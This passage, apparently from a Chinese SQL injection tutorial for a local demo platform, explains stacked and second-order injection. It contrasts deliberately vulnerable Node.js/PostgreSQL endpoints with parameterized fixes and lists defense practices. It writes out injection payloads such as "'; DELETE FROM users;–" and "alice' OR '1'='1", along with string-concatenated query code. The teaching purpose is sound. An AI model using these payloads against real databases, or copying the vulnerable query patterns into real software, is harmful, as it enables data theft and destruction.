executedSql: sql,
});
} catch (err) {
res.json({
success: false,
message: `SQL 执行错误: ${err.message}`,
executedSql: sql,
});
}
});
问题分析:
bio 参数直接插入到 SQL 字符串中。攻击者输入 '; DELETE FROM …;– 时:
注意:只需一个 ' 来闭合,因为代码中 SQL 模板是 bio='${bio}',不是 bio='${bio}')。'); 会多出一个 ),导致 PostgreSQL 语法错误:“语法错误 在 “)” 或附近的”。
8.4 防御代码分析
// ===== 安全版本 =====
app.post("/api/profile/update/safe", async (req, res) => {
const { username, bio } = req.body;
try {
const result = await pool.query(
"UPDATE profiles SET bio=$1 WHERE username=$2",
[bio || "", username || ""],
);
res.json({ success: true, rowCount: result.rowCount });
} catch (err) {
res.json({ success: false, message: `服务器错误` });
}
});
为什么安全?
参数化查询将 bio 作为字符串值处理。攻击者输入 '; DELETE FROM users;– 时,它被当作 bio 字段的一个普通字符串,分号被视为普通字符而非 SQL 语句分隔符。pg 驱动会安全转义所有特殊字符,数据库存储的 bio 就是字面值 '; DELETE FROM users;–。
8.5 对比总结
| 攻击能力 | 可执行多条 SQL(INSERT/UPDATE/DELETE/DROP) | 无法注入,分号被视为普通字符 |
| 攻击 '; DELETE FROM … | 用户被删除 | bio 字段存储该字符串,无副作用 |
| 危害等级 | 极高(可破坏数据库) | 无危害 |
| 安全性 | 不安全 | 安全 |
九、演示七:二次注入(Second-Order Injection)
9.1 漏洞原理
难度等级:高级
二次注入 是最隐蔽的 SQL 注入类型之一。它的特点是:恶意数据先被安全地存入数据库(通过参数化查询),但在后续某个操作中,这些数据被取出后又拼接到新的 SQL 语句中,从而触发注入。
核心思路:
第一次存储是安全的(参数化查询),但第二次使用时又拼接了,漏洞在第二次暴露。
为什么最隐蔽?
9.2 攻击方法
本演示的流程:
步骤 1:注册时安全存储恶意用户名
用户名:alice' OR '1'='1
密码:pass123
注册时使用参数化查询,alice' OR '1'='1 被安全存入 users 表,这一步没有问题。
步骤 2:查询资料时触发漏洞
查询资料:?username=alice' OR '1'='1
实际执行的 SQL:
SELECT * FROM profiles WHERE username='alice' OR '1'='1'
结果: '1'='1' 是永真条件,OR 使得 WHERE 子句始终为真,返回了所有用户的资料,而不是只返回 alice 的资料!
9.3 漏洞代码分析
第一步:注册(安全存储)
// 注册时使用参数化查询 – 这一步是安全的!
app.post("/api/register", async (req, res) => {
const { username, password } = req.body;
try {
// 使用 $1, $2, $3 占位符,安全存储
const result = await pool.query(
"INSERT INTO users (username, password, email) VALUES ($1, $2, $3) RETURNING *",
[username, password, `${username}@demo.com`],
);
// 同时在 profiles 表创建记录
await pool.query("INSERT INTO profiles (username, bio) VALUES ($1, $2)", [
username,
"新用户",
]);
res.json({ success: true, message: `用户 ${username} 注册成功!` });
} catch (err) {
res.json({ success: false, message: `注册失败: ${err.message}` });
}
});
第二步:查询资料(漏洞触发)
// 漏洞版本:查询用户资料 – 拼接已存储的数据
app.get("/api/profile/vulnerable", async (req, res) => {
const { username } = req.query;
try {
// 【漏洞核心】从数据库取出的用户名,又被拼接到新的 SQL 中
// 如果 username 是 "alice' OR '1'='1",就会泄露所有用户资料
const sql = `SELECT * FROM profiles WHERE username='${username || ""}'`;
const result = await pool.query(sql);
res.json({
success: true,
data: result.rows,
executedSql: sql,
});
} catch (err) {
res.json({
success: false,
message: `SQL 执行错误: ${err.message}`,
});
}
});
关键问题: 第 8 行,username 参数被直接拼接到 SQL 中。这个 username 可能来自:
- 用户直接输入
- 从数据库取出(通过注册时存储的恶意值)
无论来源如何,只要是字符串拼接,就存在注入风险。
9.4 防御代码分析
// 安全版本:查询用户资料 – 始终使用参数化查询
app.get("/api/profile/safe", async (req, res) => {
const { username } = req.query;
try {
// 无论数据来自哪里(用户输入、数据库、文件等),都使用参数化查询
const result = await pool.query(
"SELECT * FROM profiles WHERE username=$1",
[username || ""],
);
res.json({ success: true, data: result.rows });
} catch (err) {
res.json({ success: false, message: `服务器错误` });
}
});
防御原则: 无论数据来自哪里——用户输入、数据库、文件、API 调用——都始终使用参数化查询。永远不要信任任何数据源。
9.5 对比总结
| 第一次存储(注册) | 参数化查询(安全) | 参数化查询(安全) |
| 第二次使用(查询) | 字符串拼接(漏洞) | 参数化查询(安全) |
| 攻击效果 | 注入 alice' OR '1'='1,泄露所有用户资料 | 注入无效 |
| 隐蔽性 | 极高(第一次安全,第二次才出问题) | 无漏洞 |
| 安全性 | 不安全 | 安全 |
十、核心防御:参数化查询
10.1 什么是参数化查询?
参数化查询(Parameterized Query) 是一种将 SQL 语句的结构与数据分离的技术。SQL 语句的骨架使用占位符(如 $1、$2、?),用户数据通过单独的参数数组传入,由数据库驱动负责安全地填充。
10.2 参数化查询的工作原理
字符串拼接(不安全):
SQL 骨架 + 用户数据 → 混在一起 → 发送给数据库
"SELECT * FROM users WHERE username='" + userInput + "'"
如果 userInput = "admin'–",SQL 变成了:
"SELECT * FROM users WHERE username='admin'–'"
参数化查询(安全):
SQL 骨架(带占位符) → 先发送给数据库编译
用户数据(单独) → 再发送给数据库填充
"SELECT * FROM users WHERE username=$1" + ["admin'–"]
数据库理解:查找 username 值等于 "admin'–" 的用户
(带引号的 admin'– 是数据值,不是 SQL 语法)
10.3 在 PostgreSQL (pg 驱动) 中的写法
// 字符串拼接(不安全):
const sql = `SELECT * FROM users WHERE username='${username}' AND password='${password}'`;
const result = await pool.query(sql);
// 参数化查询(安全):
const sql = "SELECT * FROM users WHERE username=$1 AND password=$2";
const result = await pool.query(sql, [username, password]);
关键要点:
| $1, $2, … | 占位符,从 1 开始编号 |
| [username, password] | 参数数组,按顺序对应占位符 |
| 数据库驱动处理 | pg 自动转义特殊字符,确保数据安全 |
10.4 为什么参数化查询能防止 SQL 注入?
攻击者输入:username = "admin' OR 1=1–"
字符串拼接时:
SQL = "SELECT * FROM users WHERE username='admin' OR 1=1–'"
数据库解析:username='admin' OR 1=1 ← 1=1 是 SQL 表达式,永真!
结果:饶过验证
参数化查询时:
SQL = "SELECT * FROM users WHERE username=$1"
params = ["admin' OR 1=1–"]
数据库解析:查找 username 字段值等于 "admin' OR 1=1–" 这个字符串的记录
结果:找不到这个用户名的用户,登录失败
核心区别: 参数化查询让攻击者的输入从"SQL 代码"变成了"字符串数据"。单引号、分号、SQL 关键字等特殊字符不再具有语法意义,只是普通字符。
10.5 参数化查询不能防御的情况
参数化查询不是万能的。以下情况仍需注意:
| 动态表名/列名 | 占位符不能用于表名、列名 | 使用白名单校验 |
| ORDER BY 动态排序 | 占位符不能用于 ORDER BY 子句 | 使用白名单校验 |
| LIMIT / OFFSET | 部分驱动不支持占位符 | 参数类型校验 |
| LIKE 模糊查询 | % 需要在参数中拼接 | 在参数值中拼接 %keyword% |
十一、安全最佳实践
11.1 防御体系总结
| 第一层:输入校验 | 类型校验、长度限制、格式校验 | 拒绝不符合预期的输入 |
| 第二层:参数化查询 | 使用占位符,SQL 与数据分离 | 最核心的防御手段 |
| 第三层:最小权限 | 数据库用户只授予必要的权限 | 限制注入成功后的危害范围 |
| 第四层:错误处理 | 不返回数据库错误详情 | 防止信息泄露 |
| 第五层:WAF | Web 应用防火墙 | 检测和拦截恶意请求 |
11.2 代码层面的最佳实践
永远使用参数化查询
// 正确:参数化查询
const result = await pool.query(
"SELECT * FROM users WHERE username=$1 AND password=$2",
[username, password],
);
// 错误:字符串拼接
const result = await pool.query(
`SELECT * FROM users WHERE username='${username}' AND password='${password}'`,
);
验证输入类型
// 正确:校验 ID 为数字
const id = parseInt(req.query.id, 10);
if (isNaN(id) || id <= 0) {
return res.status(400).json({ error: "无效的ID" });
}
// 错误:直接使用未校验的输入
const id = req.query.id;
不在错误消息中暴露信息
// 正确:返回通用错误消息
catch (err) {
res.status(500).json({ error: '服务器错误,请稍后重试' });
}
// 错误:返回数据库错误详情
catch (err) {
res.status(500).json({ error: err.message }); // 可能泄露数据库结构
}
使用最小权限原则
— 为应用创建专门的数据库用户,只授予必要权限
CREATE USER app_user WITH PASSWORD 'strong_password';
GRANT SELECT, INSERT, UPDATE ON users TO app_user;
GRANT SELECT ON products TO app_user;
— 不授予 DELETE、DROP、ALTER 等危险权限
对动态表名/列名使用白名单
// 正确:白名单校验
const ALLOWED_COLUMNS = ["id", "username", "email", "created_at"];
const orderBy = req.query.orderBy;
if (!ALLOWED_COLUMNS.includes(orderBy)) {
return res.status(400).json({ error: "无效的排序字段" });
}
const result = await pool.query(
`SELECT * FROM users ORDER BY ${orderBy}`, // 此时 orderBy 是安全的
);
11.3 不要依赖的"防御"手段
| 转义单引号 | 不是所有注入都需要单引号(如数字型注入) |
| 黑名单过滤关键字 | 总有绕过方法(大小写变体、编码、注释穿插) |
| 前端校验 | 攻击者可以绕过前端直接发送 HTTP 请求 |
| 存储过程 | 如果存储过程内部也是拼接 SQL,同样不安全 |
十二、总结
12.1 七种 SQL 注入对比
| 1 | 登录绕过 | 初级 | — 注释掉密码检查 | 无需密码登录任意账户 | ⭐⭐⭐ |
| 2 | UNION 注入 | 中级 | UNION SELECT 合并查询结果 | 窃取其他表数据 | ⭐⭐⭐⭐ |
| 3 | 布尔盲注 | 中级 | 通过"存在/不存在"推断数据 | 逐字符猜解密码和敏感数据 | ⭐⭐⭐ |
| 4 | 延时注入 | 中高级 | 通过响应时间差异推断数据 | 无页面差异时仍能逐字符猜解 | ⭐⭐⭐ |
| 5 | 报错注入 | 中级 | 触发类型转换错误泄露数据 | 从错误消息中获取敏感数据 | ⭐⭐⭐ |
| 6 | 堆叠注入 | 高级 | ; 分隔多条 SQL 语句 | 删除/修改数据,创建账户 | ⭐⭐⭐⭐⭐ |
| 7 | 二次注入 | 高级 | 安全存储但后续拼接使用 | 绕过第一次的安全检查 | ⭐⭐⭐⭐ |
12.2 核心要点
12.3 学习路径建议
⚠️ 免责声明: 本文及演示平台仅用于教学和安全研究目的。请勿将此处描述的技术用于非法用途。所有演示都在本地环境运行,切勿将此类漏洞代码部署到生产环境。






